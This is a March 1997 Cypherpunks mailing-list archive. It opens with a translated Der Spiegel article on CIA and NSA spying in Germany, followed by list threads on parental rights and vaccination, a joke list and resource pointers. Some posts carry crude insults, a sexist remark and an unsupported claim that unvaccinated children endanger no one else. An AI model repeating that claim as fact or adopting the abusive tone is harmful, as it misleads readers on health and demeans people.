Der Spiegel No. 12 / 1997, pp. 34-36.

Espionage / "Dinner for Two"

  For almost three years, a CIA agent has pumped a Head of Unit in
  Bonn's Economy Ministry.  The US agencies' wild actions no longer
  are taboo.

The official Klaus Dieter von Horn, 60, ex officio is on the guard of
spies - the Superior Counsellor in the Economy Ministry is responsible
for the Arabian area.  As the head of unit VB7 - that concentrates on
Iran - knows, spies from the Near East, but also from other areas,
take a keen interest in the files on his desk.

Nevertheless, at first the official did not pay much attention to
Geoffry Plant's efforts.  After all, he was in diplomatic duty of the
big brother USA.  Horn and Plant got to know each other late in 1994,
and the American invited the German to a dinner for two every three or
four weeks.  The US embassy's IInd Secretary liked to chat about his
employer and kept asking even more questions about Horn's ministry.

He had Horn explain the political background of the Mykonos lawsuit,
and was interested in the Hermes credits to Iran.  When Bonn in August
1995 asked Iran to send two employees of their office in Bonn on
vacation without return tickets because they had been unveiled as
spies, Plant wanted to know all details.

Another time, he politely asked for a list of those firms that deliver
all sorts of goods, especially high tech, to the Mullahs' state.  The
Ministerial Counsellor remained courteous, but refused: He was not
allowed to hand over those papers, Plant surely knew that?  The
American did understand, but he would not give up.

Last year in May, he again invited Horn to dinner.  He was leaving the
embassy, he said, and on farewell still handed over a Montblanc pen of
almost 300 DM worth.  Also, he introduced his successor: Peyton K
Humphries, a diplomat working on Iran.  Plant asked him not to forget
that name.

That was for granted.  Other authorities were already awaiting the US
embassy's new second secretary with large interest: The German
intelligence agencies wanted to check if the Americans were willing to
continue the agents game in diplomatic undercover.

Because already in Summer 1995, after the first talks with Plant, wary
Horn had contacted the Bundesnachrichtendienst (BND) and the Bundesamt
f�r Verfassungsschutz (BfV).  Obviously, he reported, American spies
were assigned to him.

He correctly informed the BfV about the various meetings and also
handed over presents such as pens and champagne.  Then, as Humphries
queried him about the ongoing construction of the nuclear power plant
of Busher after his return from a trip to Teheran, Horn described the
US interest in full detail.

What was happening there, was a textbook case to the BfV agent
hunters: Spies from a foreign power wanted to recruit a German top
official.  It is the spy school's ABC to first give the source test
orders such as obtaining material from an open source - as in Horn's
case.  Also typical: The German was supposed not to talk to anyone
about the encounters, including US embassy staff.  Humphries: "There
are two competing camps."  The CIA and the embassy's economy department
don't get on well with each other.

After the German counterespionage experts had dropped all plans to
crack the US embassy that lies at the Rhine like a fortress at
Deichmanns Aue 29, or to tap Humphries' telephone, in this February
BfV head Peter Frisch talked to the head of the CIA in Bonn, Floyd L
Paseman.  Humphries, Frisch demanded, was to leave the country, the
Chancellor's Office and the Foreign Office were annoyed.

Paseman denied espionage, but assured that the CIA agent would leave
until May 30.  He insistently asked to handle the incident most
discreetly.

It failed.  Since Der Spiegel reported first details about the
snooping last week, the relations between the goverment and Washington
are not free from irritations.

In the US, comparisons were made with France kicking out four CIA
agents in 1995.  "Why do the United States spy out their friends?"
the Wall Street Journal asked.  "Shame", said the Chicago Tribune's
editorial.  Washington still treated Germany as an agents center like
"in the age of Cold War".

The timid in Bonn now are afraid of trouble with the big brother.  But
there also is relief.  Kicking the CIA man out gives the chance to no
longer treat espionage among friends as a taboo.

Six and a half years after re-unification and the end of the allied
forces' privileges in Germany, the Germans in the conspirative area
still are not the masters of their own house.  Still, some Western
agencies - the Americans at the head - act like in their own backyard.

Hortensie I, the BND's synonym for the CIA, and Hortensie III, as the
most sinister American intelligence agency, the National Security
Agency (NSA) is referred to, resemble the flower of the same name: a
shrublike plant with strong roots.

The "friendly agencies" are increasingly active in the capital,
Berlin's Secretary of State of the Interior Kuno B�se (CDU) reported
in February.  In mid-February, the heads of the Offices for the
Protection of the Constitution met in Bad Neuenahr to "re-structure
counter-intelligence".  "Focussing on the East", they noted as item 4,
"would not correspond to political reality any more".

Looking to the West shows surprising activity: More than 1,000 wiretap
technicians and 100 professional US agents bustle about in Germany,
security experts estimate.  20 intelligence officers are suspected in
the American embassy at the Rhine alone.

The friendly power's spies are in consulates, allied supreme command,
and barracks.  They try to recruit agents in Germany, they tap sources
without consultation, and whoever uses a telephone between the Alps
and the Baltic Sea must be aware that the NSA be switched in -
attention, the friend is listening.

Before 1990, the American eavesdroppers were ubiquitious.  They
maintained a listening post on the mountain Teufelsberg in Berlin, to
listen to East Berlin, and probably the West as well.  In Frankfort am
Main, close to the Zeil, there was another impressive listening post.

In the Lech plain near Gablingen, the Americans constructed a powerful
circular antenna grid - some 300 meters of diameter and 100 meters of
heigth.  Upside, they were listening on short wave to the Eastern
generals' orders.  What they were doing in the underground, has
remained their secret.

The Teufelsberg has been left, as the Americans moved further to the
East.  The Frankfort subsidiary has also been closed, and Gablingen
will be given up next year.

But the Americans' pride, their "giant ear" in Germany, will remain,
and it makes the ordinary wiretap look rather ordinary.  The site is
located in Bad Aibling, Upper Bavaria.  In an idyllic landscape, the
empire of Hortesie III extends immensely.  Gigantic antenna facilities
that in their covers rise above the plain like huge gulf balls are
eavesdropping Russian military.  Russian sattelites are tapped, the
telephone traffic directed to the formerly Soviet army is recorded.

Right next to it, in the German Mangfall barrack, resides the BND's
so-called long distance radio traffic site.  It (object "Orion") may
use the American antennae, nearly 100 eavesdroppers are analyzing the
cyrillic babel of speech.

But the peace is deceptive.  The intelligence empire NSA (estimated
budget: 3.5 billion dollar, about 100,000 employees) maintains a large
complex in Bad Aibling that is terra incognita to the German agencies.
By far, it is not just about the legitimate American safety interests.

In the midst of Germany, there is a control center for the many
American espionage sattelites that, according to a security expert in
Bonn, "long since do not only spy out the East".  The celestial bodies
of American origin circulating in close orbit suck in electronic
signals above Germany like a huge vacuum cleaner.  With encrypted
signals, Bad Aibling queries the memory of the satellites and searches
the collected phone conversations, faxes and computer traffic for
interesting stuff.

Until 1995 the site officially used the name of the NSA.  To keep up
appearances, then a US Air Force lieutenant colonel took over command,
the military flag is demonstratively fluttering in the wind.  But
still more than 1,000 eavesdroppers are working in the huge complex,
according to BND estimates.  Estimated 150 of them are directly from
the NSA that does the controlling and sets the tasks.

In spite of many inquiries, Hortensie III has strictly denied to
exchange all information from "non-military intelligence".  The BND,
they argue, can offer nothing of comparable value.

But it probably is more about not telling the Germans what they really
do.  If American and German security experts are right, European
companies are systematically spied out from Bad Aibling.

Years ago, US president Bill Clinton decreed American agencies to
larger commitment in economic espionage.  When the European airplane
giant Airbus Industries, of which Germany holds 37.9%, was competing
for a large Saudi Arabian contract with two US groups, the NSA
intervened.  It intercepted all faxes and phone conversations between
Airbus and the Saudis.  So, the Americans knew their opponent and
their offers were unbeatable - after all the orders valued at six
billion dollars.

While the British and French to a certain extend respect Germany's
souvereignty, the Americans, who had brought up the BND, behave like a
victor power.  They insist on supplementary agreements on intelligence
cooperation with "the allied forces".  Thus, the Germans must respect
"necessities of military safety" of Nato contingents here.  There is
much room for secretive manners in German territory.

In its "Westport" office in the East of Munich, the CIA until now
maintains a so-called inquiry office.  The Americans ask
asylum-seeking refugees and emigrants from whom they expect
informaition to come to Munich from all Germany.  Pro forma, the BND
is asked for endorsement, but the talks usually take place without
German participation, and the BND does not learn about possible CIA
recruitments.

The Americans are questioning deserted Russian soldiers, war refugees
from former Yugoslavia, and asylum-seekers from the Near East.  The
VIPs of them are offered asylum in the USA.  Even applicants from
overseas are brought to the experts in Munich for interrogation.

For a long time, German politics have ignored the activities of the
rogue agency.  In autumn 1994, the Chancellor's Office installed a
working group, strictly confidential of course, to get the American
and other friendly agencies under control.

Three ministries and three intelligence agencies were sitting at the
table, headed by Rudolf Dolzer, professor of international law, at
that time Head of Unit in the Chancellor's Office.  "What they are
doing here is not possible", Dolzer got exited.  "They must comply
with law and oder."

The group boldly planned to prohibit the Americans from interrogating
asylum-seekers without German participation, in Bad Aibling BND
specialists should watch the NSA, recruiting sources should be
prohibited.  After all - they concluded - espionage activities also
from friendly states are not politically protected.

In 1995, their will of protection suddenly vanished.  Distances
between meetings grew longer, finally the Chancellor's Office didn't
send out invitations any more.  Above all, the BfV that already had
created lists with names of suspicious agents was disappointed.
"Someone on the very top must have pulled the plug", someone from an
intelligence agency says.

It is dubious if the case of CIA agent Humphries will cause with the
Americans to change their policy.  At least, friendship with America
means a big deal to Helmut Kohl who does not consider the intelligence
business especially important.

The Chancellor is not even scared by the sinister NSA.  He does have
telephones that are guaranteed to be wiretap-proof.  Even when he is
on vacation at the Wolfgangsee [in Austria], the BND always installs a
device which not even the NSA can crack.  But the secure devices have
one important drawback: First the partner has to stop speaking before
you can speak yourself.

That is why the Chancellor to the displeasure of the security people
prefers the old telephone - a friend trusts a friend.

[End]

Thanks to anonymous.

For earlier reports on US spying in Germany:

http://jya.com/despon.txt
http://jya.com/ciaami.txt
http://jya.com/really.txt







From whgiii at amaranth.com  Tue Mar 18 17:12:28 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 18 Mar 1997 17:12:28 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <199703181918.TAA17082@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <9HHR4D12w165w at bwalk.dm.com>, on 03/18/97 at 06:21 AM,
   dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>camcc at abraxis.com (Alec) writes:

>> Tim,
>>
>> There would be more room if your sig weren't so long. :->

>Guys with short dicks use long sigs.

>> As you know, every year there are a certain number of child deaths as a
>> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>>
>> Perhaps the difference, or rationale, here is the possible spread of disease
>> to others, rather than trying to protect the individual from himself.

>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>their kids against, say, polio; and Y's kids get it. They're not going to
>give it to someone whose parents chose to innoculate them. (This is a kind
>of borderline example, not unlike circumcision.  The individual affected
>by the choice is too young to understand what it's all about, but doesn't
>want to be stuck with a needle. Why are the parents more qualified to make
>decisions for him than the state?)

The issue of who is more qualified is irrelevent.

The parents are the ONLY ones who have a right to determin the welfare of
their childern. If the parents determin that the risks of reaction to the
innoculation outways the benifits that choice is their's and their's alone.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From camcc at abraxis.com  Tue Mar 18 18:40:18 1997
From: camcc at abraxis.com (Alec)
Date: Tue, 18 Mar 1997 18:40:18 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 07:11 PM 3/18/97 -0600, William H. Geiger III wrote:
*|-----BEGIN PGP SIGNED MESSAGE-----
*|
*|
*|In <9HHR4D12w165w at bwalk.dm.com>, on 03/18/97 at 06:21 AM,
*|   dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
*|
*|
*|>camcc at abraxis.com (Alec) writes:
*|
*|>> Tim,
*|>>
*|>> There would be more room if your sig weren't so long. :->
*|
*|>Guys with short dicks use long sigs.
*|
*|>> As you know, every year there are a certain number of child deaths as a
*|>> result of reactions to state-mandated innoculations/vaccinations.  Gone
too?
*|>>
*|>> Perhaps the difference, or rationale, here is the possible spread of
disease
*|>> to others, rather than trying to protect the individual from himself.
*|
*|>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
*|>their kids against, say, polio; and Y's kids get it. They're not going to
*|>give it to someone whose parents chose to innoculate them. (This is a kind
*|>of borderline example, not unlike circumcision.  The individual affected
*|>by the choice is too young to understand what it's all about, but doesn't
*|>want to be stuck with a needle. Why are the parents more qualified to make
*|>decisions for him than the state?)

*|
*|The issue of who is more qualified is irrelevent.
*|
*|The parents are the ONLY ones who have a right to determin the welfare of
*|their childern. If the parents determin that the risks of reaction to the
*|innoculation outways the benifits that choice is their's and their's alone.
*|

Not in every case do the parents have the right to determine what treatment
shall be performed or whether it shall occur at all. More often than not the
courts have allowed medical treatment for the child who is not able to
consent to such treatment for himself.

In many instances courts have stepped in to authorize blood transfusions for
children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
societal and governmental attack for insisting on substituting healers for
medical teams even in cases of children afflicted by cancer accompanied by
apparently unbearable pain.

Parents most certainly are not the only ones to determine the welfare of
their children; society has assumed a significant role and typically moves to
protect the child from the parents or from the _beliefs_ of the parents.

Alec
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From toto at sk.sympatico.ca  Tue Mar 18 18:55:01 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 18 Mar 1997 18:55:01 -0800 (PST)
Subject: [Humor] Dogs and Computers
In-Reply-To: <9703182242.AA18533@banshee.BASISinc.com>
Message-ID: <332F4C3C.73B@sk.sympatico.ca>


The Top 20 Reasons Dogs Don't Use Computers


[20] Can't stick their heads out of Windows '95.

[19] Fetch command not available on all platforms.

[18] Hard to read the monitor with your head cocked to one side.

[17] Too difficult to "mark" every website they visit.

[16] Can't help attacking the screen when they hear "You've Got Mail."

[15] Fire hydrant icon simply frustrating.

[14] Involuntary tail wagging is dead giveaway they're browsing
www.pethouse.com instead of working.

[13] Keep bruising noses trying to catch that MPEG frisbee.

[12] Not at all fooled by Chuckwagon Screen Saver.

[11] Still trying to come up with an "emoticon" that signifies
tail-wagging.

[10] Oh, but they WILL... with the introduction of the Microsoft
Opposable Thumb.

[09] Three words: Carpal Paw Syndrome

[08] 'Cause dogs ain't GEEKS! Now, cats, on the other hand...

[07] Barking in next cube keeps activating YOUR voice recognition
software.

[06] SmellU-SmellMe still in beta test.

[05] SIT and STAY were hard enough, GREP and AWK are out of the
question!

[04] Saliva-coated mouse gets mighty difficult to manuever.

[03] Annoyed by lack of newsgroup, alt.pictures.master's.leg.

[02] Butt-sniffing more direct and less deceiving than online chat
rooms.

and the Number 1 Reason Dogs Don't Use Computers...

[01] TrO{gO DsA[M,bN HyAqR4tDc TgrOo TgYPmE WeIjTyH P;AzWqS,.


                 |
            ,@ __|-.
       ,_~o/   \/  |    Through the router, off the switch,
         |/        |    down the cable, nothing but net.
        / >        |
       '  `        |                   The @Home slam dunk
                   |
 __________________|







From toto at sk.sympatico.ca  Tue Mar 18 18:55:08 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 18 Mar 1997 18:55:08 -0800 (PST)
Subject: ADV Weekly Transcripts
In-Reply-To: <199703182300.PAA22811@rigel.infonex.com>
Message-ID: <332F5530.7E76@sk.sympatico.ca>


Mark Hedges wrote:
>  America's births were at 2.1 per female.
> Some nonindustrialized countries were as high as 7.4 per female,
> average. 
> 
> Most of my friends and lovers are of races other than white (my race),
> and I am proud of this fact. Their diverse experience brings to me
> stories and tales of foreign lifestyles from which I can learn.

  John Gilmore's envy of Dr. Vulis came from the fact that Dr. Vulis
was bringing 7.4 new riff-raff to the list, for every 2.1 crypto 
subscribers brought to the list by Gilmore.
  Thus Gilmore removed him from the list, in an attempt to limit the
diverse experience the riff-raff have to share via their stories and 
tales of riff-raff lifestyles from which we all can learn.
  Shame on Gilmore for his CypherPunk Supremacist philosophy which 
strove to inhibit the immigration of those from more unfortunate lists
where logic and reason were in short supply.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From mnorton at cavern.uark.edu  Tue Mar 18 19:40:34 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Tue, 18 Mar 1997 19:40:34 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>
Message-ID: <Pine.SOL.3.92.970318213421.15452D-100000@cavern.uark.edu>


Yeah, children.  They are a hard thing for anarchy.  Looking
back, Bukharin, Lenin, didn't have much to say about children,
as people.  OTOH, since the workers at that time included children,
maybe the were justified in ignoring the issue and just robbing banks.
Where, then, there was no FDIC.:)
MacN
If the sarcasm isn't dripping, scuse me I tried.

> *|
> *|The parents are the ONLY ones who have a right to determin the welfare of
> *|their childern. If the parents determin that the risks of reaction to the
> *|innoculation outways the benifits that choice is their's and their's alone.
> *|
>
> Not in every case do the parents have the right to determine what treatment
> shall be performed or whether it shall occur at all. More often than not the
> courts have allowed medical treatment for the child who is not able to
> consent to such treatment for himself.
>
> In many instances courts have stepped in to authorize blood transfusions for
> children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
> blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
> societal and governmental attack for insisting on substituting healers for
> medical teams even in cases of children afflicted by cancer accompanied by
> apparently unbearable pain.
>
> Parents most certainly are not the only ones to determine the welfare of
> their children; society has assumed a significant role and typically moves to
> protect the child from the parents or from the _beliefs_ of the parents.
>
> Alec
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
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> sOkt83+xSfQ=
> =VTdX
> -----END PGP SIGNATURE-----
>
>






From dlv at bwalk.dm.com  Tue Mar 18 19:41:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 19:41:34 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007802af53b634ded8@[207.167.93.63]>
Message-ID: <1ais4D16w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:
>
> Igor asked a one-line question, and I gave a one-line answer. I don't
> intend to debate libertarian or ethical theory here.

You don't like Russians, do you?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dthorn at gte.net  Tue Mar 18 20:09:05 1997
From: dthorn at gte.net (Dale Thorn)
Date: Tue, 18 Mar 1997 20:09:05 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703181918.TAA17082@mailhub.amaranth.com>
Message-ID: <332F6677.144C@gte.net>


William H. Geiger III wrote:
>    dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> >their kids against, say, polio; and Y's kids get it. They're not going to
> >give it to someone whose parents chose to innoculate them. (This is a kind
> >of borderline example, not unlike circumcision.  The individual affected
> >by the choice is too young to understand what it's all about, but doesn't
> >want to be stuck with a needle. Why are the parents more qualified to make
> >decisions for him than the state?)

> The issue of who is more qualified is irrelevent.
> The parents are the ONLY ones who have a right to determin the welfare of
> their childern. If the parents determin that the risks of reaction to the
> innoculation outways the benifits that choice is their's and their's alone.

I inherited three kids (9, 11, and 13) in November, and am starting
to get used to the schools' intrusions just now.  So far, I've
prepared one form for the kids to hand to the teacher when there
is an off-campus trip scheduled.  Like who's driving, are they
certified by the school board, chaperones (who are they), etc.

Recently they did a surprise dental inspection of the youngest kid.
I'm preparing a form to tell the schools that any certification they
require on the kids as to health, etc. will be provided by our
doctors, not theirs, so the kids can skip their inspections.
So far I haven't met with any serious opposition, but who knows?

(I'm informing them that I'm a Puritan, and follow very strict
religious practices)

Today's Long Beach paper had an extensive article on "pregnancy
counciling support groups" for sixth grade girls (in Santa Ana?),
and the "support groups" were mandatory. Religious fundamentalists
are certain to hit the ceiling on this one - not just the increase
in sexual awareness aspect, but the hoodoo-voodoo aspect of a
"support" group that smacks of New Age practices (their article,
not mine).  According to the article, the groups have an amazing
record, i.e., pregnancies down by 80% or more among the teenage girls.






From toto at sk.sympatico.ca  Tue Mar 18 20:37:39 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 18 Mar 1997 20:37:39 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>
Message-ID: <332F6C98.34CB@sk.sympatico.ca>


Blanc Weber wrote:

> From:   Declan McCullagh
> The short answer, perhaps, is that government should as a
> general rule adopt those policies that allow the greatest 
> freedom over the long term.
> .....................................................
 
> 'Government' is a coercive medium for effecting results; if everything
> could be accomplished by coercion, then it would rightly be expected
> that everything (everyone) should be always to be subject to coercion in
> order to have a smoothly running social machine.

  "When Hitler was Fuhrer, the trains ran on time."
  The government's efforts at coercion are often justified by raising
the dark spectre of the chaos/anarchy that will result from all of the
cogs not being in perfect alignment.
  Naturally, in this scenario, all cogs which are out of alignment are
defective, and therefore subject to 'adjustment' by various forms of
heat and hammering.

> But if everything (all the benefits that people expect from social
> arrangements) could be accomplished by coercion, we wouldn't be the kind
> of life forms that we are.   We would be the equivalent of "technology",
> subject to someone (else's) latest algorithmic program.

  I wouldn't be so certain that we aren't, if I were you.
  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.

<flushing sound> ["Toto has left the building."]
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From verify at www.nytimes.com  Tue Mar 18 21:18:09 1997
From: verify at www.nytimes.com (Verification message sender)
Date: Tue, 18 Mar 1997 21:18:09 -0800 (PST)
Subject: No Subject
Message-ID: <199703190519.AAA182696@content36a.advantis.com>


To: 
From: verify at nytimes.com (New York Times subscription robot)
Reply-to: verify at nytimes.com
Subject: Welcome to The New York Times on the Web


Thank you for joining The New York Times on the Web community.

Your subscriber ID is   nifft
Your e-mail address is  cypherpunks at toad.com

Please save this message for future reference.

You can return to The New York Times on the Web by going to:
		http://www.nytimes.com/

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Please do not reply to this message. If you need assistance or did not
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From stewarts at ix.netcom.com  Tue Mar 18 21:45:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 18 Mar 1997 21:45:06 -0800 (PST)
Subject: Cypherpunks pointers
In-Reply-To: <199703152006.MAA18486@f4.hotmail.com>
Message-ID: <3.0.1.32.19970318213850.006169f8@popd.ix.netcom.com>


At 12:06 PM 3/15/97 -0800, cookies_monsters at hotmail.com wrote:
>I came accross the "Cypherpunks" link and I wanted to know more? Can you tell
>me where to get more information. I have little clue as to what this outfit
>does. Thanks.

Sorry for the delay; it's been a busy week.  I'll forward you a couple of 
articles that have come out recently.  

The original Cypherpunks archive is on www.csua.berkeley.edu/cypherpunks,
which has good stuff though it hasn't been updated recently.
Tim May's Cyphernomicon is a great summary, available in one or more pieces.
Cypherpunks started as a discussion group, which became a mailing list,
for people interested in cryptographic and computer techniques for 
protecting privacy; if you can convince the government to pass laws 
protecting privacy, or refrain from passing laws attacking it,
you're only protected until the next Congresscritter or bureaucrat feels 
like writing a new law - but if you develop and publish software that
lets you protect your conversations with strong crypto, they're secure
until the laws of mathematics change (happens occasionally :-).
"Cypherpunks write code."  Cypherpunks also debug code - sometimes
your crypto software is only secure until the next implementation bug
gets found.  Some of the interesting work that cypherpunks have done
has been popularizing and enhancing PGP, developing remailers,
cracking 40-bit crypto and other weak government-imposed limits,
finding bugs in the Clipper chip, and finding bugs in Netscape and MSIE.
A perennial topic is digital cash, which is an important part of a
free economy in cyberspace, and many cypherpunks have either worked on,
or with, or around (:-) David Chaum's Digicash company; www.digicash.com.

Getting on the list - the list used to be on toad.com, but has
since migrated to several places, which will eventually be gatewayed together
into some joint mailing list.  cypherpunks-request at cyberpass.net
will point you to the information for cyberpass.net, which is probably
the mailbot majordomo at sirius.infonex.com.  cypherpunks-request at algebra.com
will another section, and alt.cypherpunks is a Usenet group.
Some related lists can be found at coderpunks-request at toad.com and
cryptography-request at c2.net.

Archives - AltaVista knows where the archives live....
Good places to look for software include ftp.ox.ac.uk and ftp.funet.fi.
ftp.pgp.net will pick a random non-US location that carries PGP.
www.pgp.com is PGP, Inc.'s US-based web site.  www.rsa.com has been 
known to carry interesting material as well.  John Young posts all
sorts of interesting news to the list; see www.jya.com.
Many strange things end up in the incoming directory on replay.com.
news://nntp.hks.net and infinity.nus.sg have also carried archives in the past.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Tue Mar 18 22:42:24 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 18 Mar 1997 22:42:24 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <199703190047.AAA02484@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199703182356.XAA02032 at mailhub.amaranth.com>, on 03/18/97 at 08:39 PM,
   Alec <camcc at abraxis.com> said:


>Not in every case do the parents have the right to determine what
>treatment shall be performed or whether it shall occur at all. More often
>than not the courts have allowed medical treatment for the child who is
>not able to consent to such treatment for himself.

>In many instances courts have stepped in to authorize blood transfusions
>for children of Jehovah's Witnesses, who follow Biblical injunctions not
>to "eat" blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has
>been under societal and governmental attack for insisting on substituting
>healers for medical teams even in cases of children afflicted by cancer
>accompanied by apparently unbearable pain.

>Parents most certainly are not the only ones to determine the welfare of
>their children; society has assumed a significant role and typically moves
>to protect the child from the parents or from the _beliefs_ of the
>parents.

Just because the government subverts the RIGHTS of the parents does not
mean that the parents do not have those rights.

A parent is the sole person who has a *RIGHT* to determine the welfair of
their childern. You do not have that right, I do not have that right, the
government does not have that right. To beleive that the government should
"protect" a child from the beliefs of its parents is truly
FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

I as a parent have the sole right to determine what religon to teach my
children, how to rase my children, how to teach my children, how to reward
my children and how to punish my children PERIOD.

Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
as they are quite out of place here.

"When the wants of society override the rights of the individule that
society must die" -- whgiii

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

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From whgiii at amaranth.com  Tue Mar 18 22:51:53 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 18 Mar 1997 22:51:53 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703190057.AAA02562@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In, on 03/18/97 at 10:07 PM,
   Dale Thorn <dthorn at gte.net> said:


>William H. Geiger III wrote:
>>    dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>> >their kids against, say, polio; and Y's kids get it. They're not going to
>> >give it to someone whose parents chose to innoculate them. (This is a kind
>> >of borderline example, not unlike circumcision.  The individual affected
>> >by the choice is too young to understand what it's all about, but doesn't
>> >want to be stuck with a needle. Why are the parents more qualified to make
>> >decisions for him than the state?)

>> The issue of who is more qualified is irrelevent.
>> The parents are the ONLY ones who have a right to determin the welfare of
>> their childern. If the parents determin that the risks of reaction to the
>> innoculation outways the benifits that choice is their's and their's alone.

>I inherited three kids (9, 11, and 13) in November, and am starting to get
>used to the schools' intrusions just now.  So far, I've prepared one form
>for the kids to hand to the teacher when there is an off-campus trip
>scheduled.  Like who's driving, are they certified by the school board,
>chaperones (who are they), etc.

>Recently they did a surprise dental inspection of the youngest kid. I'm
>preparing a form to tell the schools that any certification they require
>on the kids as to health, etc. will be provided by our doctors, not
>theirs, so the kids can skip their inspections. So far I haven't met with
>any serious opposition, but who knows?

>(I'm informing them that I'm a Puritan, and follow very strict religious
>practices)

>Today's Long Beach paper had an extensive article on "pregnancy counciling
>support groups" for sixth grade girls (in Santa Ana?), and the "support
>groups" were mandatory. Religious fundamentalists are certain to hit the
>ceiling on this one - not just the increase in sexual awareness aspect,
>but the hoodoo-voodoo aspect of a "support" group that smacks of New Age
>practices (their article, not mine).  According to the article, the groups
>have an amazing record, i.e., pregnancies down by 80% or more among the
>teenage girls.

Well the best way to aviod all this is to "Home School". In the end they
will get a much better education and they woun't turn out to be lock-step
robots for the STATE.

This requires a two parent home though (politically incorrect these days)
and a wife with a few brain cells. :)

The next best thing is a private school but even they are being corrupted
by all this touchy feely crap. Still better than sending them to the
STATE'S reeducation centers.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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From toto at sk.sympatico.ca  Tue Mar 18 23:16:05 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 18 Mar 1997 23:16:05 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <332F8E2F.1D77@sk.sympatico.ca>


snow wrote:
>         So, parents should be allowed to:
>         1) Beat their children on a daily basis, because it is good for them.
>         2) Refuse to educate their children _at all_ because Knowlege is the
>            devils work.
>         3) Not clothe their children at all beause God Will Provide.
>         4) Teach their children how to perform Oral, Anal, and "straight" sex
>            because they need to learn it someday?

  Mom? Is that you, mom? 
  Where did you go with that sailor?
-- 
